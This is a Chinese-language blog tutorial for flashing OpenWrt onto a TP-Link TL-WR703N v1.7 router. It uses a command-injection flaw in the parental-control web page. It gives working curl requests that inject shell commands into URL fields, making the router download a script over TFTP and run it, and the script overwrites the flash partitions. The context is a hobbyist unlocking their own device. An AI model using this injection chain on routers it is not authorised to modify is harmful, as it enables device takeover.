TL-WR703Nv1.7刷寫openwrt固件


2017年度全網原創IT博主評選活動投票:http://www.itbang.me/goVote/254

TP-LINK TL-WR703N是一個小型的路由器,可以有線轉WiFi,3G轉WiFi,很多人拿它刷openwrt系統,然后可以在上面各種搞事。

V1.7以前

通常刷openwrt的做法是,

  • 下載一個openwrt factory固件
  • 打開路由器,
  • 筆記本連接路由器發出來的WiFi,比如:TP-LINK-90-1B-18
  • 在瀏覽器輸入192.168.1.1,選擇左邊“系統工具”-“軟件升級”-“瀏覽”
  • 找到剛剛下載的鏡像bin文件,確定
  • 然后就會自動把openwrt刷到板子里邊了

V1.7以后

然而!上面的方法只有在2012年12月以前生產的WR703N上(型號在FW build 121204以前的)才有用,在之后的板子上,選擇完bin文件會提示“上傳的文件與硬件版本不符”,導致無法從web管理界面刷寫系統!具體來講,如果你的型號(這個在路由器管理界面可以看到)跟我的一樣是3.17.1 Build 140120 Rel.56593n,那么恭喜你中獎了,只能通過下面這種方式或者TTL硬件方式刷openwrt。

原因是,2012年12月之后的系統升級,對bin文件做了RSA簽名校驗,無法刷第三方的系統。

一番搜索之后發現有個國外的牛人利用TP-LINK家長控制的漏洞,讓路由板執行一些代碼,成功刷寫openwrt系統,這個方法的英文版也被放到了openwrt wr703n的官方wiki上,可以說是相當靠譜了,國內有人也整理了一個中文版,但有些步驟還是不夠詳細,於是我整理了一個完整的版出來,讓大家少踩一些坑。windows的同學可以參考這個中文版,不過里邊有些鏈接失效了,可以參考我這篇去找對應的工具。

搭建tftp服務器

因為我們會先把鏡像下載並處理好放在一個ftp服務器上,所以需要另一台電腦扮演這個角色

  • 以MacOS為例,MacOS是內置了tftp服務器的,不需要另外安裝,
  • 默認的ftp服務器會把將/private/tftpboot這個目錄作為根目錄
  • 修改這個目錄的權限
sudo chmod 777 /private/tftpboot
sudo chmod 777 /private/tftpboot/*
  • 啟動tftp服務
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist
sudo launchctl start com.apple.tftpd
  • 測試,在另一台電腦上,以Ubuntu為例,安裝tftp客戶端
cwh@cwh-Matrimax-PC:sudo apt-get install tftp
cwh@cwh-Matrimax-PC:~$ tftp
(to) 192.168.2.210
tftp> get aa

把Ubuntu和mac放在一個局域網里,mac的ip是192.168.2.210,在mac的/private/tftpboot目錄下有一個名為aa的文件,執行get aa之后,會發現Ubuntu的home目錄下多了一個aa文件,也就是文件傳送成功了。

准備工具

  • *Nix系統下curl,dd,都是自帶的,不用下載,
  • 下載busybox,這個是用來在wr703n上執行dd和reboot命令用的,默認的命令行執行不了
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox

鏈接有可能失效,可以谷歌搜索busybox binary download,下載mips版本的

  • 下載openwrt固件並拆分成兩份(因為wr703n的內存很小,可能傳輸的時候傳不了整個文件)
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576
dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
  • 將busybox, 拆開的固件i1, i2放到tftp服務器目錄/private/tfboot

編寫Hack腳本

  • 進入tftp服務器目錄
  • 新建文件aa(很隨意的一個名字),里邊內容為:
cd /tmp
tftp -gl i1 192.168.1.100
tftp -gl i2 192.168.1.100
tftp -gl busybox 192.168.1.100
chmod 755 busybox
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync
reboot -f

解釋一下每行代碼

cd /tmp
tftp -gl i1 192.168.1.100 # 把i1從tftp服務器下載下來,這里的ip應該是,你的tftp服務器連接路由器之后,ifconfig看到的ip
tftp -gl i2 192.168.1.100 # 把i2從tftp服務器下載下來
tftp -gl busybox 192.168.1.100 # 把busybox從tftp服務器下載下來
chmod 755 busybox  # 修改busybox權限以執行命令
./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 將i1寫入磁盤分區
./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 將i2寫入磁盤分區
reboot -f # 重啟,會啟動openwrt

至此,你的tftp目錄下應該有4個文件:i1, i2, aa, busybox,缺一不可

Hack into TL-WR703N

這個方法是利用TPLINK家長控制漏洞,以curl的方式執行命令,讓路由器從tftp服務器上下載腳本,執行命令,從而將openwrt固件寫入路由器

【警告】以下步驟可能導致你的路由器變磚,請確認當前的路由器固件版本是3.17.1 Build 140120. 下述全過程請勿斷開連接或是斷開電源,本人不對產生的任何后果負責!另外,每一步都很重要,別忽略其中任何一步。一旦變磚,請用3.3V的串口線搶救

  • 首先長按reboot按鈕將路由器恢復出廠設置

  • 將tftp服務器(這里是Mac)通過WiFi的方式連接到路由器,ifconfig記住自己的ip,我的是192.168.1.100

  • 在tftp服務器上(連接到路由器的另外一台機器也行)執行

  • 修改密碼為admin42

curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'

注意這里的192.168.1.1是路由器的ip地址, 這個步驟只會更改路由器家長控制的默認密碼,刷完openwrt之后會恢復為openwrt的默認密碼的

  • 啟用家長控制(利用漏洞)
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 讓路由器從tftp服務器下載並執行腳本
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

等待大約三分鍾,路由器會重啟進入openwrt系統,狀態燈會閃爍一會兒

進入openwrt系統

后邊可以參考這位大兄弟寫的教程,挺詳細的了

喜歡請star,轉載請注明作者夢里茶


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM